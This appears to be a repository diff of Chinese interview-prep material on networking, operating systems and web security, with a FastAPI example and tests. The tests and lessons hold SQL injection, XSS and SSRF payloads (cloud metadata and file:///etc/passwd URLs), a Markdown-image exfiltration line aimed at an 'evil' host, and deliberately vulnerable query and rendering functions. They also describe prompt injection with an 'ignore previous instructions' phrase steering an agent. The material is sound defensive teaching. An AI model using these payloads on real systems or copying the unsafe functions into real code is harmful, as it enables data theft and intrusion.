rng = random.Random(42)
for _ in range(100): # 随机切分 100 种方式
dec, out, i = FrameDecoder(), [], 0
while i < len(stream):
j = i + rng.randint(1, 17)
out += dec.feed(stream[i:j])
i = j
assert out == msgs
def test_rejects_oversized_frame():
with pytest.raises(ValueError):
FrameDecoder(max_frame=10).feed(encode({"text": "x" * 100}))
+25 -3
View File
@@ -4,12 +4,34 @@ title: 网络与操作系统基础
type: index
domain: cs
stack: [network-os]
tags: []
tags: [TCP, HTTP, HTTPS, 进程线程, I/O 多路复用]
week: [14, 16]
---
# 网络与操作系统基础
HTTP/HTTPS、TCP/IP、DNS、进程线程、内存、IO 模型。
HTTP/HTTPS、TCP、DNS、SSE 与 WebSocket;进程线程协程、I/O 多路复用、内存、文件描述符。BOSS直聘 2026-10-23 的调研中有岗位提到计算机基础。
> 本专题建设中:课程、企业场景、面试题和示例代码会陆续补充。
## 学习路线
| 顺序 | 课程 | 级别 | 预计 |
| --- | --- | --- | --- |
| 1 | [网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE](01-http-tcp.md) | 基础 | 3 小时 |
| 2 | [操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁](02-os-basics.md) | 基础 | 3 小时 |
## 企业场景
- [线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞](scenarios/connection-troubleshooting.md)
## 面试题
- [网络与操作系统面试题](interview.md)
## 示例代码
- [examples/tcp-basics](examples/tcp-basics/):粘包现象与长度前缀分帧(随机切分测试)、单线程 selectors 多路复用回显服务器(只用标准库)
## 在 16 周计划中
- [第 14 周:后端扩展与部署](../../../plan/week14-backend-extend-deploy.md)
- [第 16 周:面试冲刺](../../../plan/week16-interview.md)
+67
View File
@@ -0,0 +1,67 @@
---
id: cs.network-os.interview
title: 网络与操作系统面试题
type: interview
domain: cs
stack: [network-os]
tags: [TCP, HTTP, HTTPS, 进程线程, I/O 多路复用, 面试]
level: basic
related: [cs.network-os.http-tcp, cs.network-os.os-basics]
week: [14, 16]
---
# 网络与操作系统面试题
## 基础
### 【基础】从输入 URL 到页面展示,发生了什么?
**参考答案**:DNS 解析 → TCP 握手(HTTPS 再 TLS 握手)→ 发送 HTTP 请求,经 CDN / 负载均衡 / 网关到应用 → 服务器处理返回 → 浏览器解析 HTML / CSS 构建 DOM 和 CSSOM、布局、绘制、合成,执行脚本。
**追问**:哪些环节可以优化?→ DNS 预解析、连接复用、HTTP/2、CDN、压缩、缓存、关键资源预加载、减少阻塞脚本。
### 【基础】为什么 TCP 握手三次、挥手四次?
**参考答案**:三次握手让双方都确认对方的收发能力并同步初始序号,同时防止过期的连接请求建立连接;挥手时一方发送 FIN 只表示自己不再发送,另一方可能还有数据要发,所以 ACK 和 FIN 分开发送。
**追问**:TIME_WAIT 有什么作用?→ 确保最后一个 ACK 丢失时能重传,并让旧连接的延迟报文在网络中消失,避免干扰新连接。
### 【基础】进程、线程、协程的区别?
**参考答案**:进程是资源分配单位,独立地址空间;线程是调度单位,共享进程资源,由内核切换;协程在用户态调度,切换开销最小,适合大量 I/O 等待。
**追问**:Go 的 goroutine 和 Python 的协程有什么不同?→ goroutine 由 Go 运行时调度到多个系统线程上,可以利用多核,遇到阻塞自动切换;Python asyncio 协程运行在单线程事件循环中,需要显式 `await`,阻塞调用会卡住整个循环。
## 进阶
### 【进阶】HTTP/1.1、HTTP/2、HTTP/3 的区别?
**参考答案**:1.1 有持久连接,但同一连接上请求串行(队头阻塞);2 使用二进制分帧和多路复用、头部压缩,但 TCP 丢包仍会阻塞全部流;3 基于 QUIC(UDP),解决传输层队头阻塞,握手更快,支持连接迁移。
**追问**:HTTP/2 下还需要合并资源、域名分片吗?→ 一般不需要,多路复用已经解决并发问题,域名分片反而增加连接开销。
### 【进阶】什么是 I/O 多路复用?epoll 为什么比 select 高效?
**参考答案**:一个线程监视多个 fd,就绪时再处理。select 每次调用都要把全部 fd 拷贝到内核并线性扫描,且有数量上限;epoll 在内核中维护关注列表,就绪的 fd 通过回调放入就绪队列,只返回就绪的,适合大量连接。
**追问**:水平触发和边缘触发?→ 水平触发:只要还可读就一直通知;边缘触发:状态变化时只通知一次,必须一次读完,否则可能丢失通知。
### 【进阶】什么是粘包?怎么解决?
**参考答案**:TCP 是字节流,没有消息边界,多条消息可能合并或被拆分到达。应用层定义边界:固定长度、分隔符(换行,如 SSE、JSON Lines)、长度前缀;接收方用缓冲区增量解析。
**追问**:长度前缀协议要注意什么安全问题?→ 限制最大帧长度,防止恶意的超大长度值导致内存耗尽。
## 场景题
### 【场景题】服务调用下游时出现大量 TIME_WAIT 和 “Cannot assign requested address”,怎么处理?
**参考答案**:这是作为主动关闭方的短连接过多、本地端口耗尽。根本办法是复用连接(共享 HTTP 客户端、连接池、keep-alive);同时检查超时设置和并发上限;内核参数调整只作为辅助。详见[连接问题排查](scenarios/connection-troubleshooting.md)。
**追问**:怎么确认修复有效?→ 压测对比 TIME_WAIT 数量、建连次数和 P99 延迟。
### 【场景题】异步 Python 服务中所有请求(包括健康检查)同时变慢,可能是什么原因?
**参考答案**:事件循环被阻塞:在协程中执行了同步 I/O 或 CPU 密集操作。排查:开启 asyncio 调试模式查看慢回调、采样分析器定位;修复:使用异步客户端、把 CPU 任务放到进程池或任务队列。
**追问**:为什么健康检查也慢?→ 它和其他请求运行在同一个事件循环中,循环被占用时所有协程都得不到调度。
@@ -0,0 +1,84 @@
---
id: cs.network-os.scenario.connection-troubleshooting
title: 线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞
type: scenario
domain: cs
stack: [network-os, linux, fastapi]
tags: [TIME_WAIT, 连接池, 文件描述符, 事件循环阻塞, 超时, 排查]
level: intermediate
prerequisites: [cs.network-os.http-tcp, cs.network-os.os-basics]
est_hours: 2
related: [cs.network-os.interview, devops.linux.scenario.incident-troubleshooting]
week: [14, 16]
---
# 线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞
## 业务背景与问题
AI Agent 服务(FastAPI)高峰期偶发大量超时,日志中出现:
- 调用模型网关报 “Cannot assign requested address”;
- 偶尔出现 “Too many open files”;
- 所有请求的延迟同时变高,包括健康检查。
## 约束
- 不能停机排查。
- 运维只给了容器内的只读排查权限。
## 方案设计
1. **看连接状态**:`ss -s`、`ss -tan state time-wait | wc -l` 发现几万个 TIME_WAIT,目标都是模型网关 → 代码中每次请求都新建 `httpx.AsyncClient`,用完就关闭,没有复用连接。**修复**:应用级共享一个客户端(连接池),设置池大小和 keep-alive。
2. **看 fd**:`ls /proc/<pid>/fd | wc -l` 与 `ulimit -n` 对比 → 文件上传后临时文件没有关闭。**修复**:使用 `with` 管理资源;在监控中加入 fd 数量。
3. **看事件循环**:所有请求同时变慢,说明事件循环被阻塞 → 用 asyncio 调试模式 / 采样分析发现同步的 PDF 解析。**修复**:移到进程池(`run_in_executor`)或任务队列。
4. **超时与隔离**:所有外部调用设置连接超时和读超时;对模型网关设置并发上限(信号量),防止一个慢依赖耗尽所有资源。
5. **验证**:压测对比修复前后的 TIME_WAIT 数量、fd 数量、P99 延迟。
## 关键代码
```python
from contextlib import asynccontextmanager
import httpx
from fastapi import FastAPI
@asynccontextmanager
async def lifespan(app: FastAPI):
# 整个应用共享一个客户端:复用 TCP / TLS 连接
app.state.llm = httpx.AsyncClient(
base_url=LLM_GATEWAY,
timeout=httpx.Timeout(connect=3, read=60, write=10, pool=5),
limits=httpx.Limits(max_connections=100, max_keepalive_connections=20),
)
yield
await app.state.llm.aclose()
app = FastAPI(lifespan=lifespan)
@app.post("/parse")
async def parse(file: UploadFile):
data = await file.read()
loop = asyncio.get_running_loop()
return await loop.run_in_executor(process_pool, parse_pdf, data) # CPU 密集任务不阻塞事件循环
```
相关原理:[网络基础](../01-http-tcp.md)、[操作系统基础](../02-os-basics.md);Linux 排查命令见 [Linux 线上排查](../../../devops/linux/scenarios/incident-troubleshooting.md)。
## 取舍
| 选择 | 优点 | 缺点 |
| --- | --- | --- |
| **复用连接(本方案)** | 根治 TIME_WAIT,同时降低延迟(省去握手) | 要管理客户端生命周期 |
| 调整内核参数(端口范围、TIME_WAIT 复用) | 立刻见效 | 治标不治本,有副作用,容器内往往无权限 |
| 增加实例 | 简单 | 掩盖问题,成本上升 |
## 易错点
- 看到 TIME_WAIT 就认为是服务器的问题——它出现在主动关闭的一方。
- 共享的客户端没有设置池上限,慢依赖拖垮整个服务。
- 只设置了总超时,没有区分连接超时和读超时(流式响应的读超时要考虑 token 间隔)。
## 面试怎么讲
> “Agent 服务高峰期出现‘Cannot assign requested address’,用 ss 看到几万个 TIME_WAIT 指向模型网关,原因是每次请求新建 HTTP 客户端。改成应用级共享客户端并配置连接池和分阶段超时后,TIME_WAIT 基本消失,延迟也下降了。另外发现同步 PDF 解析阻塞事件循环,导致所有请求同时变慢,移到进程池解决。修复后用压测对比了连接数、fd 数和 P99。”
@@ -0,0 +1,81 @@
---
id: cs.web-security.common-attacks
title: Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态
type: lesson
domain: cs
stack: [web-security]
tags: [XSS, CSRF, SQL 注入, CORS, SSRF, CSP, SameSite, 参数化查询, OWASP]
level: basic
prerequisites: [cs.network-os.http-tcp]
est_hours: 3
related: [cs.web-security.scenario.ai-app-security, ai.prompt-engineering.scenario.injection-defense, cs.web-security.interview]
week: [7, 14, 16]
order: 1
---
# Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态
> BOSS直聘 2026-10-23 的调研中有岗位提到 Web 安全基础。AI 应用让老问题出现了新入口:模型输出可能包含恶意 HTML(XSS),Agent 的抓取工具可能被诱导访问内网(SSRF),用户输入可能拼接进模型生成的 SQL。参考:OWASP Top 10(https://owasp.org/www-project-top-ten/)。
## 解释说明
| 攻击 | 原理 | 防御 |
| --- | --- | --- |
| **XSS**(跨站脚本) | 攻击者的脚本被当作页面的一部分执行,可以窃取数据、冒充用户操作 | 输出时按上下文转义(框架默认转义,慎用 `v-html` / `dangerouslySetInnerHTML`);富文本用白名单清洗;CSP;Cookie 设 HttpOnly |
| **CSRF**(跨站请求伪造) | 用户已登录,恶意网站让浏览器带着 Cookie 向目标站点发请求 | Cookie `SameSite=Lax/Strict`;CSRF Token(同步令牌或双重提交);校验 Origin;改变状态的操作不用 GET |
| **SQL 注入** | 用户输入被拼接成 SQL 执行 | **参数化查询**;ORM;最小权限的数据库账号;不能参数化的部分(表名、排序字段)用白名单 |
| **CORS 配置错误** | CORS 是浏览器放宽同源策略的机制;配置成“任意来源 + 允许凭证”或反射请求的 Origin,等于允许任何网站读取用户数据 | 来源白名单;带凭证时不能用 `*`;只开放需要的方法和请求头 |
| **SSRF**(服务端请求伪造) | 诱导服务器访问内网地址(数据库、管理接口、云元数据 `169.254.169.254`) | 协议白名单;解析域名后检查所有 IP 是否为公网;禁止或逐跳校验重定向;网络层出口限制 |
**注意**:CORS 不是安全防护,而是对同源策略的“放宽”;服务端仍然必须做鉴权。CORS 也不能防 CSRF(简单请求照样会发出,只是读不到响应)。
### AI 应用中的新形态
- 模型输出渲染成 HTML / Markdown 时的 XSS:Markdown 中的原始 HTML、`javascript:` 链接、图片链接外带数据(`![](https://evil/?q=敏感信息)`)。
- 提示词注入诱导 Agent 调用工具:抓取内网地址(SSRF)、执行越权操作。见[提示词注入防护](../../ai/prompt-engineering/scenarios/injection-defense.md)。
- Text-to-SQL:模型生成的 SQL 要用只读账号、白名单表、限制行数,并在执行前做语法分析。
## 案例
AI 客服页面把模型回答作为 Markdown 渲染。有人在知识库文档中埋入 `<img src=x onerror=...>`,模型在回答中原样引用,所有看到回答的用户都执行了这段脚本。修复:渲染前清洗(禁用原始 HTML,过滤危险协议的链接)、CSP 禁止内联脚本、会话 Cookie 设 HttpOnly。
## 代码示例
[examples/secure-api](examples/secure-api/)(FastAPI + sqlite3,13 个测试通过;每类问题都先证明“错误写法可被利用”,再证明“正确写法能防住”):
```python
# SQL 注入:拼接 vs 参数化
db.execute(f"... WHERE tenant = '{tenant}' AND id LIKE '%{keyword}%'") # keyword = "x' OR 1=1 --" 读到其他租户
db.execute("... WHERE tenant = ? AND id LIKE ?", (tenant, f"%{keyword}%")) # 安全
# SSRF:解析后检查所有 IP
for info in socket.getaddrinfo(host, port):
if not ipaddress.ip_address(info[4][0]).is_global:
raise ValueError("禁止访问内网地址")
```
CORS 白名单 + CSRF 双重提交:
```python
app.add_middleware(CORSMiddleware, allow_origins=["https://app.example.com"], allow_credentials=True, ...)
if not secrets.compare_digest(csrf_cookie, x_csrf_token): # 跨站页面读不到 csrf_token Cookie,无法设置请求头
raise HTTPException(403, "CSRF 校验失败")
```
## 易错点
- 只在前端校验输入。
- 用黑名单过滤 XSS(`replace("<script>", "")`),总能被绕过。
- 用 ORM 却在原生查询处拼接字符串。
- `allow_origins=["*"]` 加 `allow_credentials=True`,或者把请求的 Origin 原样反射回去。
- SSRF 只校验域名字符串,不校验解析后的 IP;或者允许跟随重定向。
- 把 JWT 存在 localStorage 中,一旦有 XSS 就被窃取(是否这样做要权衡,至少要有 CSP)。
## 面试常问
- XSS 有哪几类?怎么防御?
- CSRF 的原理?SameSite 能完全防住吗?
- 为什么参数化查询能防 SQL 注入?
- CORS 是什么?它能防 CSRF 吗?
- 你的 Agent 有抓取网页的工具,怎么防止 SSRF?
@@ -0,0 +1,126 @@
# requires: fastapi, httpx
"""Web 安全示例:SQL 注入、XSS、CSRF、CORS、SSRF(Agent 的“抓取网页”工具最容易出这个问题)。
每类问题都给出“错误写法”和“正确写法”,test_secure_app.py 用测试证明错误写法可被利用、正确写法可以防住。
运行:pytest -q test_secure_app.py;直接 `python secure_app.py` 只做一次自检。
"""
from __future__ import annotations
import html
import ipaddress
import secrets
import socket
import sqlite3
from urllib.parse import urlsplit
from fastapi import Cookie, FastAPI, Form, Header, HTTPException, Response
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import HTMLResponse
# ---------- SQL 注入 ----------
def make_db() -> sqlite3.Connection:
db = sqlite3.connect(":memory:", check_same_thread=False)
db.executescript("""
CREATE TABLE orders (id TEXT, tenant TEXT, amount INTEGER);
INSERT INTO orders VALUES ('A001', 't1', 100), ('A002', 't1', 200), ('B001', 't2', 999);
""")
return db
def find_orders_unsafe(db: sqlite3.Connection, tenant: str, keyword: str) -> list[tuple]:
# 错误:字符串拼接。keyword = "x' OR 1=1 --" 时会查出其他租户的数据
return db.execute(f"SELECT id, tenant FROM orders WHERE tenant = '{tenant}' AND id LIKE '%{keyword}%'").fetchall()
def find_orders_safe(db: sqlite3.Connection, tenant: str, keyword: str) -> list[tuple]:
# 正确:参数化查询,数据永远不会被当成 SQL 执行
return db.execute("SELECT id, tenant FROM orders WHERE tenant = ? AND id LIKE ?", (tenant, f"%{keyword}%")).fetchall()
# ---------- XSS ----------
def render_answer_unsafe(answer: str) -> str:
return f"<div class='answer'>{answer}</div>" # 错误:模型输出 / 用户输入直接拼进 HTML
def render_answer_safe(answer: str) -> str:
return f"<div class='answer'>{html.escape(answer)}</div>" # 正确:输出到 HTML 时转义
# ---------- SSRF ----------
ALLOWED_SCHEMES = {"http", "https"}
def check_fetch_url(url: str, resolve=socket.getaddrinfo) -> str:
"""Agent 抓取网页工具的 URL 校验:只允许 http(s),解析后的所有 IP 都必须是公网地址。"""
parts = urlsplit(url)
if parts.scheme not in ALLOWED_SCHEMES or not parts.hostname:
raise ValueError("只允许 http / https 地址")
if parts.username or parts.password:
raise ValueError("不允许在 URL 中携带凭证")
infos = resolve(parts.hostname, parts.port or (443 if parts.scheme == "https" else 80))
for info in infos:
ip = ipaddress.ip_address(info[4][0])
if not ip.is_global: # 拒绝内网、回环、链路本地(含云元数据地址 169.254.169.254)
raise ValueError(f"禁止访问内网地址 {ip}")
# 注意:真正发请求时还要禁止自动跟随重定向(或对每一跳重新校验),并固定使用这里解析出的 IP,防止 DNS 重绑定
return url
# ---------- 应用:CORS、CSRF、安全响应头 ----------
TRUSTED_ORIGINS = ["https://app.example.com"]
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=TRUSTED_ORIGINS, # 白名单;带凭证时绝不能用 "*"
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Content-Type", "X-CSRF-Token"],
)
DB = make_db()
@app.middleware("http")
async def security_headers(request, call_next):
resp = await call_next(request)
resp.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self'; object-src 'none'" # XSS 的第二道防线
resp.headers["X-Content-Type-Options"] = "nosniff"
return resp
@app.post("/login")
def login(response: Response) -> dict:
csrf = secrets.token_urlsafe(16)
# 会话 Cookie:HttpOnly(脚本读不到)、Secure、SameSite=Lax(跨站的 POST 不会带上)
response.set_cookie("session", "user-1", httponly=True, secure=True, samesite="lax")
# CSRF Token(双重提交):前端读取后放在请求头中,跨站页面拿不到这个值
response.set_cookie("csrf_token", csrf, secure=True, samesite="lax")
return {"ok": True}
@app.post("/transfer")
def transfer(amount: int = Form(...), session: str | None = Cookie(None), csrf_cookie: str | None = Cookie(None, alias="csrf_token"),
x_csrf_token: str | None = Header(None)) -> dict:
if not session:
raise HTTPException(401, "未登录")
if not csrf_cookie or not x_csrf_token or not secrets.compare_digest(csrf_cookie, x_csrf_token):
raise HTTPException(403, "CSRF 校验失败")
return {"ok": True, "amount": amount}
@app.get("/orders")
def orders(keyword: str = "") -> list[list[str]]:
return [list(r) for r in find_orders_safe(DB, "t1", keyword)]
@app.get("/answer", response_class=HTMLResponse)
def answer(q: str = "") -> str:
return render_answer_safe(f"你问的是:{q}")
if __name__ == "__main__":
payload = "x' OR 1=1 --"
assert {r[1] for r in find_orders_unsafe(DB, "t1", payload)} == {"t1", "t2"}
assert find_orders_safe(DB, "t1", payload) == []
assert "<script>" not in render_answer_safe("<script>alert(1)</script>")
print("自检通过:拼接 SQL 被注入读到了 t2 的数据,参数化查询没有;XSS 输出已转义")
@@ -0,0 +1,71 @@
# requires: fastapi, httpx
import pytest
from fastapi.testclient import TestClient
from secure_app import (DB, app, check_fetch_url, find_orders_safe, find_orders_unsafe, render_answer_safe,
render_answer_unsafe)
client = TestClient(app, base_url="https://testserver")
def test_sql_injection_unsafe_leaks_other_tenant():
rows = find_orders_unsafe(DB, "t1", "x' OR 1=1 --")
assert ("B001", "t2") in rows # 证明漏洞真实存在
def test_sql_injection_safe():
assert find_orders_safe(DB, "t1", "x' OR 1=1 --") == []
assert find_orders_safe(DB, "t1", "A00") == [("A001", "t1"), ("A002", "t1")]
def test_xss_escaped():
evil = '<img src=x onerror="alert(document.cookie)">'
assert "<img" in render_answer_unsafe(evil)
assert "<img" not in render_answer_safe(evil) and "&lt;img" in render_answer_safe(evil)
r = client.get("/answer", params={"q": "<script>alert(1)</script>"})
assert "<script>" not in r.text and "script-src 'self'" in r.headers["content-security-policy"]
def test_csrf():
c = TestClient(app, base_url="https://testserver")
c.post("/login")
# 模拟跨站伪造:浏览器会自动带上 Cookie,但攻击页面读不到 csrf_token,无法设置请求头
assert c.post("/transfer", data={"amount": 100}).status_code == 403
token = c.cookies.get("csrf_token")
r = c.post("/transfer", data={"amount": 100}, headers={"X-CSRF-Token": token})
assert r.status_code == 200
def test_cors_allowlist():
ok = client.get("/orders", headers={"Origin": "https://app.example.com"})
assert ok.headers.get("access-control-allow-origin") == "https://app.example.com"
evil = client.get("/orders", headers={"Origin": "https://evil.example"})
assert "access-control-allow-origin" not in evil.headers
pre = client.options("/orders", headers={"Origin": "https://evil.example", "Access-Control-Request-Method": "GET"})
assert pre.status_code == 400
def fake_resolve(mapping):
return lambda host, port: [(None, None, None, "", (mapping[host], port))]
@pytest.mark.parametrize("url,ip", [
("http://169.254.169.254/latest/meta-data/", "169.254.169.254"), # 云元数据
("http://localhost:6379/", "127.0.0.1"),
("http://intranet.corp/", "10.0.0.8"),
("http://rebind.example/", "192.168.1.10"), # 公网域名解析到内网
])
def test_ssrf_blocks_internal(url, ip):
host = url.split("/")[2].split(":")[0]
with pytest.raises(ValueError):
check_fetch_url(url, resolve=fake_resolve({host: ip}))
@pytest.mark.parametrize("url", ["file:///etc/passwd", "gopher://x/", "http://user:pw@example.com/"])
def test_ssrf_blocks_schemes_and_credentials(url):
with pytest.raises(ValueError):
check_fetch_url(url, resolve=fake_resolve({"example.com": "93.184.215.14", "x": "93.184.215.14"}))
def test_ssrf_allows_public():
assert check_fetch_url("https://example.com/a", resolve=fake_resolve({"example.com": "93.184.215.14"}))
+32 -5
View File
@@ -1,15 +1,42 @@
---
id: cs.web-security.index
title: Web 安全
title: Web 安全基础
type: index
domain: cs
stack: [web-security]
tags: []
tags: [XSS, CSRF, SQL 注入, CORS, SSRF, OWASP]
week: [7, 14, 16]
---
# Web 安全
# Web 安全基础
XSS、CSRF、SQL 注入、CORS、鉴权与会话安全、大模型应用的提示词注入。
XSS、CSRF、SQL 注入、CORS、SSRF 的原理和防御,以及它们在 AI 应用中的新形态(模型输出渲染、Agent 工具、Text-to-SQL)。BOSS直聘 2026-10-23 的调研中有岗位提到 Web 安全基础。
> 本专题建设中:课程、企业场景、面试题和示例代码会陆续补充。
## 学习路线
| 顺序 | 课程 | 级别 | 预计 |
| --- | --- | --- | --- |
| 1 | [Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态](01-xss-csrf-sqli-cors-ssrf.md) | 基础 | 3 小时 |
## 企业场景
- [AI 客服上线前的安全评审:回答渲染 XSS、抓取工具 SSRF、Text-to-SQL 注入和跨域配置](scenarios/ai-app-security.md)
## 面试题
- [Web 安全面试题](interview.md)
## 示例代码
- [examples/secure-api](examples/secure-api/):每类攻击的错误写法与正确写法,13 个测试证明漏洞可利用、修复有效(FastAPI + sqlite3)
## 在 16 周计划中
- [第 7 周:前端工程化查漏](../../../plan/week07-frontend.md)
- [第 14 周:后端扩展与部署](../../../plan/week14-backend-extend-deploy.md)
- [第 16 周:面试冲刺](../../../plan/week16-interview.md)
## 参考
- OWASP Top 10:https://owasp.org/www-project-top-ten/
- OWASP LLM 应用 Top 10:https://genai.owasp.org/
+67
View File
@@ -0,0 +1,67 @@
---
id: cs.web-security.interview
title: Web 安全面试题
type: interview
domain: cs
stack: [web-security]
tags: [XSS, CSRF, SQL 注入, CORS, SSRF, 面试]
level: basic
related: [cs.web-security.common-attacks]
week: [7, 14, 16]
---
# Web 安全面试题
## 基础
### 【基础】XSS 有哪几类?怎么防御?
**参考答案**:存储型(恶意内容存入数据库,展示给其他用户)、反射型(通过 URL 参数立即反射)、DOM 型(前端脚本把不可信数据写入 DOM)。防御:按上下文输出转义、富文本白名单清洗、避免 `innerHTML` 类 API、CSP、Cookie HttpOnly。
**追问**:Vue / React 默认安全吗?→ 文本插值默认转义;`v-html`、`dangerouslySetInnerHTML`、动态 `href`(`javascript:` 协议)仍有风险。
### 【基础】CSRF 的原理和防御?
**参考答案**:利用浏览器自动携带 Cookie 的特性,在恶意网站上向目标站点发起请求。防御:SameSite Cookie、CSRF Token(同步令牌或双重提交)、校验 Origin / Referer、状态变更不用 GET。
**追问**:用 `Authorization` 请求头传 Token(不用 Cookie)还有 CSRF 问题吗?→ 基本没有,因为浏览器不会自动附加该请求头;但 Token 存储在前端,要防 XSS。
### 【基础】为什么参数化查询能防 SQL 注入?
**参考答案**:SQL 结构和数据分开发送,数据库先编译语句结构,参数只会被当作值,不会改变语义。
**追问**:排序字段(ORDER BY)能参数化吗?→ 标识符一般不能参数化,要用白名单映射。
## 进阶
### 【进阶】CORS 是什么?常见的错误配置有哪些?
**参考答案**:浏览器的同源策略默认禁止脚本读取跨源响应,CORS 让服务器通过响应头声明允许哪些来源读取。错误配置:任意来源 + 允许凭证、原样反射请求的 Origin、白名单使用不严格的匹配(例如只检查后缀)。
**追问**:预检请求什么时候发生?→ 非简单请求(例如 `Content-Type: application/json`、自定义请求头、PUT / DELETE)时,浏览器先发 OPTIONS 询问。
### 【进阶】什么是 SSRF?怎么防?
**参考答案**:让服务器替攻击者访问其本不该访问的地址(内网服务、云元数据)。防御:协议白名单、解析域名后检查 IP 是否公网、禁止或逐跳校验重定向、固定使用校验过的 IP 连接(防 DNS 重绑定)、网络层限制出口。
**追问**:为什么只检查 URL 中的主机名不够?→ 公网域名可以解析到内网 IP;IP 有多种写法(十进制、IPv6 映射);重定向可以跳到内网。
### 【进阶】JWT 存在 localStorage 还是 Cookie?
**参考答案**:localStorage:不受 CSRF 影响,但 XSS 可以直接读取;HttpOnly Cookie:脚本读不到,但要防 CSRF(SameSite + Token)。多数场景推荐 HttpOnly + Secure + SameSite 的 Cookie,加 CSRF 防护和 CSP。
**追问**:Token 泄露了怎么办?→ 短有效期 + 刷新令牌、服务端维护吊销列表或会话版本号。
## 场景题
### 【场景题】AI 客服的回答以 Markdown 渲染,怎么防止 XSS?
**参考答案**:渲染器禁用原始 HTML,渲染后用白名单清洗,链接只允许 http(s),图片限制域名(防止数据外带),CSP 禁止内联脚本,Cookie HttpOnly;写成自动化测试。详见[AI 应用安全评审](scenarios/ai-app-security.md)。
**追问**:为什么图片也要限制?→ 攻击者可以通过提示词注入让模型输出 `![](https://evil/?data=敏感内容)`,浏览器加载图片时就把数据发出去了。
### 【场景题】你的 Agent 可以“访问用户提供的链接”,评审时要考虑什么?
**参考答案**:SSRF(内网和元数据地址)、重定向、DNS 重绑定、响应大小和超时、内容中的提示词注入(抓回来的网页可能包含“忽略之前的指令”)、隐私(是否允许访问带有个人信息的链接)。措施:URL 校验 + 出口代理 + 内容作为不可信数据处理 + 工具调用审计。
**追问**:怎么证明防住了?→ 用攻击载荷清单(内网 IP、各种 IP 写法、重定向到内网、非 http 协议)写成测试,在 CI 中运行,见[示例测试](examples/secure-api/test_secure_app.py)。
@@ -0,0 +1,77 @@
---
id: cs.web-security.scenario.ai-app-security
title: AI 客服上线前的安全评审:回答渲染 XSS、抓取工具 SSRF、Text-to-SQL 注入和跨域配置
type: scenario
domain: cs
stack: [web-security, fastapi, vue, function-calling]
tags: [安全评审, XSS, SSRF, Text-to-SQL, CORS, CSP, 最小权限]
level: intermediate
prerequisites: [cs.web-security.common-attacks]
est_hours: 2.5
related: [cs.web-security.interview, ai.function-calling.scenario.safe-business-tools, ai.prompt-engineering.scenario.injection-defense]
week: [14, 16]
---
# AI 客服上线前的安全评审:回答渲染 XSS、抓取工具 SSRF、Text-to-SQL 注入和跨域配置
## 业务背景与问题
AI 客服即将对外上线,安全团队评审发现:
1. 回答用 `v-html` 渲染 Markdown 转换后的 HTML,知识库中的 HTML 片段会原样执行;
2. Agent 有“打开链接查看内容”的工具,测试人员让它访问 `http://169.254.169.254/` 拿到了云主机元数据;
3. 报表功能让模型生成 SQL 直接执行,账号有写权限;
4. 后端 CORS 配置为允许所有来源并允许凭证。
## 约束
- 一周内上线,不能大改架构。
- 功能不能砍。
## 方案设计
1. **回答渲染(XSS)**:Markdown 渲染时禁用原始 HTML;对生成的 HTML 用白名单清洗(只保留段落、列表、代码、链接等);链接只允许 `http(s)`,外链加 `rel="noopener noreferrer"`;图片只允许白名单域名(防止通过图片 URL 外带数据);全站 CSP 禁止内联脚本;会话 Cookie HttpOnly。
2. **抓取工具(SSRF)**:协议白名单;解析域名后所有 IP 必须是公网;禁止自动重定向(或每一跳重新校验);连接时使用已校验的 IP,防止 DNS 重绑定;工具运行在只能访问公网的出口代理后面(网络层兜底);响应大小和超时限制。
3. **Text-to-SQL**:只读数据库账号,且只授权报表视图;SQL 先解析,只允许单条 `SELECT`、白名单表、强制 `LIMIT` 和租户条件;执行超时;记录审计日志。
4. **CORS**:白名单为自己的前端域名;同时启用 CSRF 防护(SameSite + Token)。
5. **验证**:把每个问题写成自动化安全测试(攻击载荷 → 预期被拒),加入 CI。
## 关键代码
回答渲染(前端,示意):
```ts
import DOMPurify from "dompurify";
import MarkdownIt from "markdown-it";
const md = new MarkdownIt({ html: false, linkify: true }); // 不允许原始 HTML
export function renderAnswer(text: string): string {
return DOMPurify.sanitize(md.render(text), {
ALLOWED_TAGS: ["p", "ul", "ol", "li", "code", "pre", "strong", "em", "a", "blockquote", "table", "thead", "tbody", "tr", "th", "td"],
ALLOWED_ATTR: ["href"],
ALLOWED_URI_REGEXP: /^https?:\/\//i, // 只允许 http(s) 链接
});
}
```
SSRF 校验与 SQL 注入、CORS、CSRF 的可运行实现和攻击测试:[examples/secure-api](../examples/secure-api/)。
## 取舍
| 选择 | 优点 | 缺点 |
| --- | --- | --- |
| **应用层校验 + 网络层出口限制(本方案)** | 纵深防御,一层失效还有另一层 | 实施工作量较大 |
| 只做应用层校验 | 快 | 校验有遗漏(重定向、DNS 重绑定)时没有兜底 |
| 去掉抓取工具 / 报表功能 | 最安全 | 业务不接受 |
## 易错点
- 认为“模型输出是我们自己生成的”就可以信任。实际上它会复述用户输入和知识库内容。
- SSRF 只拦截了 `127.0.0.1`,没拦 `localhost`、IPv6 `::1`、十进制 IP、内网域名。
- Text-to-SQL 用正则判断是否为 SELECT,被注释和多语句绕过。
- 只修复了被发现的那一个载荷,没有写成测试。
## 面试怎么讲
> “上线前安全评审发现四个问题,我按纵深防御处理:回答渲染禁用原始 HTML、白名单清洗、只允许 http 链接,加 CSP 和 HttpOnly;抓取工具解析域名后检查所有 IP 必须是公网、禁止重定向,并放在只能访问公网的出口代理后面;Text-to-SQL 换成只读账号和报表视图,SQL 解析后只允许单条 SELECT 并强制 LIMIT 和租户条件;CORS 改成白名单并加 CSRF Token。每个问题都写成了攻击测试放进 CI。”